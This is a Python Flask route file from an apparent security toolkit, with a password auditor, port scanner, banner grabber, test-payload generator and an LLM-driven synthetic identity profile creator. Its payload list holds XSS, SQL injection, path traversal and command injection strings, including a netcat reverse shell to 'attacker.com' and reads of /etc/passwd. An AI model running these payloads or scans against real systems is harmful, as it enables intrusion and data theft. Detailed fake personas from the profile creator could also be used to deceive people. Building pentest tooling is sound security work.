Autarch/web/routes/simulate.py

412 lines
14 KiB
Python
Raw Permalink Normal View History

"""Simulate category route - password audit, port scan, banner grab, payload generation, legendary creator."""
import json
import socket
import hashlib
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
simulate_bp = Blueprint('simulate', __name__, url_prefix='/simulate')
@simulate_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'simulate'}
return render_template('simulate.html', modules=modules)
@simulate_bp.route('/password', methods=['POST'])
@login_required
def password_audit():
"""Audit password strength."""
data = request.get_json(silent=True) or {}
password = data.get('password', '')
if not password:
return jsonify({'error': 'No password provided'})
score = 0
feedback = []
# Length
if len(password) >= 16:
score += 3
feedback.append('+ Excellent length (16+)')
elif len(password) >= 12:
score += 2
feedback.append('+ Good length (12+)')
elif len(password) >= 8:
score += 1
feedback.append('~ Minimum length (8+)')
else:
feedback.append('- Too short (<8)')
# Character diversity
has_upper = any(c.isupper() for c in password)
has_lower = any(c.islower() for c in password)
has_digit = any(c.isdigit() for c in password)
has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)
if has_upper:
score += 1; feedback.append('+ Contains uppercase')
else:
feedback.append('- No uppercase letters')
if has_lower:
score += 1; feedback.append('+ Contains lowercase')
else:
feedback.append('- No lowercase letters')
if has_digit:
score += 1; feedback.append('+ Contains numbers')
else:
feedback.append('- No numbers')
if has_special:
score += 2; feedback.append('+ Contains special characters')
else:
feedback.append('~ No special characters')
# Common patterns
common = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon']
if password.lower() in common:
score = 0
feedback.append('- Extremely common password!')
# Sequential
if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential letters')
if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)):
score -= 1; feedback.append('~ Contains sequential numbers')
# Keyboard patterns
for pattern in ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx']:
if pattern in password.lower():
score -= 1; feedback.append('~ Contains keyboard pattern')
break
score = max(0, min(10, score))
strength = 'STRONG' if score >= 8 else 'MODERATE' if score >= 5 else 'WEAK'
hashes = {
'md5': hashlib.md5(password.encode()).hexdigest(),
'sha1': hashlib.sha1(password.encode()).hexdigest(),
'sha256': hashlib.sha256(password.encode()).hexdigest(),
}
return jsonify({
'score': score,
'strength': strength,
'feedback': feedback,
'hashes': hashes,
})
@simulate_bp.route('/portscan', methods=['POST'])
@login_required
def port_scan():
"""TCP port scan."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port_range = data.get('ports', '1-1024').strip()
if not target:
return jsonify({'error': 'No target provided'})
try:
start_port, end_port = map(int, port_range.split('-'))
except Exception:
return jsonify({'error': 'Invalid port range (format: start-end)'})
# Limit scan range for web UI
if end_port - start_port > 5000:
return jsonify({'error': 'Port range too large (max 5000 ports)'})
try:
ip = socket.gethostbyname(target)
except Exception:
return jsonify({'error': f'Could not resolve {target}'})
services = {
21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns',
80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb',
3306: 'mysql', 3389: 'rdp', 5432: 'postgresql', 8080: 'http-proxy',
}
open_ports = []
total = end_port - start_port + 1
for port in range(start_port, end_port + 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((ip, port))
if result == 0:
open_ports.append({
'port': port,
'service': services.get(port, 'unknown'),
'status': 'open',
})
sock.close()
return jsonify({
'target': target,
'ip': ip,
'open_ports': open_ports,
'scanned': total,
})
@simulate_bp.route('/banner', methods=['POST'])
@login_required
def banner_grab():
"""Grab service banner."""
data = request.get_json(silent=True) or {}
target = data.get('target', '').strip()
port = data.get('port', 80)
if not target:
return jsonify({'error': 'No target provided'})
try:
port = int(port)
except Exception:
return jsonify({'error': 'Invalid port'})
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target, port))
if port in [80, 443, 8080, 8443]:
sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n")
else:
sock.send(b"\r\n")
banner = sock.recv(1024).decode('utf-8', errors='ignore')
sock.close()
return jsonify({'banner': banner or 'No banner received'})
except socket.timeout:
return jsonify({'error': 'Connection timed out'})
except ConnectionRefusedError:
return jsonify({'error': 'Connection refused'})
except Exception as e:
return jsonify({'error': str(e)})
@simulate_bp.route('/payloads', methods=['POST'])
@login_required
def generate_payloads():
"""Generate test payloads."""
data = request.get_json(silent=True) or {}
payload_type = data.get('type', 'xss').lower()
payloads_db = {
'xss': [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'"><script>alert(1)</script>',
"'-alert(1)-'",
'<body onload=alert(1)>',
'{{constructor.constructor("alert(1)")()}}',
],
'sqli': [
"' OR '1'='1",
"' OR '1'='1' --",
"'; DROP TABLE users; --",
"1' ORDER BY 1--",
"1 UNION SELECT null,null,null--",
"' AND 1=1 --",
"admin'--",
],
'cmdi': [
"; ls -la",
"| cat /etc/passwd",
"& whoami",
"`id`",
"$(whoami)",
"; ping -c 3 127.0.0.1",
"| nc -e /bin/sh attacker.com 4444",
],
'traversal': [
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"....//....//....//etc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
"..%252f..%252f..%252fetc/passwd",
"/etc/passwd%00",
],
'ssti': [
"{{7*7}}",
"${7*7}",
"{{config}}",
"{{self.__class__.__mro__}}",
"<%= 7*7 %>",
"{{request.application.__globals__}}",
],
}
payloads = payloads_db.get(payload_type)
if payloads is None:
return jsonify({'error': f'Unknown payload type: {payload_type}'})
return jsonify({'type': payload_type, 'payloads': payloads})
# ── Legendary Creator ─────────────────────────────────────────────────────────
_LEGEND_PROMPT = """\
You are generating a completely fictional, synthetic person profile for software testing \
and simulation purposes. Every detail must be internally consistent. Use real city names \
and real school/university names that genuinely exist in those cities. All SSNs, passport \
numbers, and IDs are obviously fake and for testing only.
SEED PARAMETERS (apply these if provided, otherwise invent):
{seeds}
Generate ALL of the following sections in order. Be specific, thorough, and consistent. \
Verify that graduation years match the DOB. Friend ages should be within 5 years of the \
subject. Double-check that named schools exist in the stated cities.
## IDENTITY
Full Legal Name:
Preferred Name / Nickname:
Date of Birth:
Age:
Gender:
Nationality:
Ethnicity:
Fake SSN: [XXX-XX-XXXX]
Fake Passport Number:
Fake Driver's License: [State + alphanumeric]
## PHYSICAL DESCRIPTION
Height:
Weight:
Build: [slim/athletic/average/stocky/heavyset]
Eye Color:
Hair Color & Style:
Distinguishing Features: [birthmarks, scars, tattoos, or "None"]
## CONTACT INFORMATION
Cell Phone: [(XXX) XXX-XXXX]
Work Phone:
Primary Email: [firstname.lastname@domain.com style]
Secondary Email: [personal/fun email]
Home Address: [Number Street, City, State ZIP use a real city]
City of Residence:
## ONLINE PRESENCE
Primary Username: [one consistent handle used across platforms]
Instagram Handle: @[handle] [posting style and frequency, e.g. "posts 3x/week, mostly food and travel"]
Twitter/X: @[handle] [posting style, topics, follower count estimate]
LinkedIn: linkedin.com/in/[handle] [headline and connection count estimate]
Facebook: [privacy setting + usage description]
Reddit: u/[handle] [list 3-4 subreddits they frequent with reasons]
Gaming / Other: [platform + gamertag, or "N/A"]
## EDUCATION HISTORY
[Chronological, earliest first. Confirm school names exist in stated cities.]
Elementary School: [Real school name], [City, State] [Years, e.g. 20012007]
Middle School: [Real school name], [City, State] [Years]
High School: [Real school name], [City, State] Graduated: [YYYY] GPA: [X.X] [1 extracurricular]
Undergraduate: [Real university/college], [City, State] [Major] Graduated: [YYYY] GPA: [X.X] [2 activities/clubs]
Graduate / Certifications: [if applicable, or "None"]
## EMPLOYMENT HISTORY
[Most recent first. 24 positions. Include real or plausible company names.]
Current: [Job Title] at [Company], [City, State] [Year]Present
Role summary: [2 sentences on responsibilities]
Previous 1: [Job Title] at [Company], [City, State] [Year][Year]
Role summary: [1 sentence]
Previous 2: [if applicable]
## FAMILY
Mother: [Full name], [Age], [Occupation], lives in [City, State]
Father: [Full name], [Age], [Occupation or "Deceased (YYYY)"], lives in [City, State]
Siblings: [Name (age) brief description each, or "Only child"]
Relationship Status: [Single / In a relationship with [Name] / Married to [Name] since [Year]]
Children: [None, or Name (age) each]
## FRIENDS (5 close friends)
[For each: Full name, age, occupation, city. How they met (be specific: class, job, app, event). \
Relationship dynamic. One memorable shared experience.]
1. [Full Name], [Age], [Occupation], [City] Met: [specific how/when] [dynamic] [shared memory]
2. [Full Name], [Age], [Occupation], [City] Met: [specific how/when] [dynamic] [shared memory]
3. [Full Name], [Age], [Occupation], [City] Met: [specific how/when] [dynamic] [shared memory]
4. [Full Name], [Age], [Occupation], [City] Met: [specific how/when] [dynamic] [shared memory]
5. [Full Name], [Age], [Occupation], [City] Met: [specific how/when] [dynamic] [shared memory]
## HOBBIES & INTERESTS
[79 hobbies with specific detail not just "cooking" but "has been making sourdough for 2 years, \
maintains a starter named 'Gerald', frequents r/sourdough". Include brand preferences, skill level, \
communities involved in.]
1.
2.
3.
4.
5.
6.
7.
## PERSONALITY & PSYCHOLOGY
MBTI Type: [e.g. INFJ] [brief explanation of how it shows in daily life]
Enneagram: [e.g. Type 2w3]
Key Traits: [57 adjectives, both positive and realistic flaws]
Communication Style: [brief description]
Deepest Fear: [specific, personal]
Biggest Ambition: [specific]
Political Leaning: [brief, not extreme]
Spiritual / Religious: [brief]
Quirks: [3 specific behavioral quirks the more oddly specific the better]
## BACKSTORY NARRATIVE
[250350 word first-person "About Me" narrative. Write as if this person is introducing themselves \
on a personal website or in a journal. Reference specific people, places, and memories from the \
profile above for consistency. It should feel real, slightly imperfect, and human.]
"""
@simulate_bp.route('/legendary-creator')
@login_required
def legendary_creator():
return render_template('legendary_creator.html')
@simulate_bp.route('/legendary/generate', methods=['POST'])
@login_required
def legendary_generate():
"""Stream a Legend profile from the LLM via SSE."""
data = request.get_json(silent=True) or {}
# Build seed string from user inputs
seed_parts = []
for key, label in [
('gender', 'Gender'), ('nationality', 'Nationality'), ('ethnicity', 'Ethnicity'),
('age', 'Age'), ('profession', 'Profession/Industry'), ('city', 'City/Region'),
('education', 'Education Level'), ('interests', 'Interests/Hobbies'),
('notes', 'Additional Notes'),
]:
val = data.get(key, '').strip()
if val:
seed_parts.append(f"- {label}: {val}")
seeds = '\n'.join(seed_parts) if seed_parts else '(none — generate freely)'
prompt = _LEGEND_PROMPT.format(seeds=seeds)
def generate():
try:
from core.llm import get_llm
llm = get_llm()
for token in llm.chat(prompt, stream=True):
yield f"data: {json.dumps({'token': token})}\n\n"
yield f"data: {json.dumps({'done': True})}\n\n"
except Exception as exc:
yield f"data: {json.dumps({'error': str(exc)})}\n\n"
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})